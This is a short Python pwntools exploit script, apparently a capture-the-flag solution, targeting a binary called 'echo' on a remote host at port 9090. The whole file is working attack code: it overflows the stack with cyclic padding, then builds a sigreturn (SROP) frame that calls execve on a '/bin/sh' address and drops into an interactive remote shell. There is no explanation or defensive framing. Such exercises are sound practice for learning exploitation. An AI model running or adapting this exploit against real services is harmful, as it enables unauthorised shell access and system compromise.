from pwn import *
elf = context.binary = ELF("./echo")
# context.log_level = logging.DEBUG
context.terminal = ["tmux", "splitw", "-h"]
def do_debug():
	return gdb.debug(elf.path, gdbscript = """
												break *0x40100b
""")
def do_remote():
	return remote("161.97.176.150", 9090)
p = do_remote()


binsh = 0x401035
write_loc = 0x401000
ret = 0x401034
frame = SigreturnFrame(kernel ="amd64")
frame.rax = 0x3b
frame.rdi = binsh
frame.rip = 0x401022
frame.rdx = 0
payload = cyclic(0x188) + p64(elf.sym.echo) + p64(0x40101d)+ bytes(frame)
print(hex(len(payload)))
p.send(payload[0:0x300])
input("Ruining the stack :D")
p.send(0xf*"A")
log.info("Got shell :)")
sleep(1)
p.recv()
p.interactive()

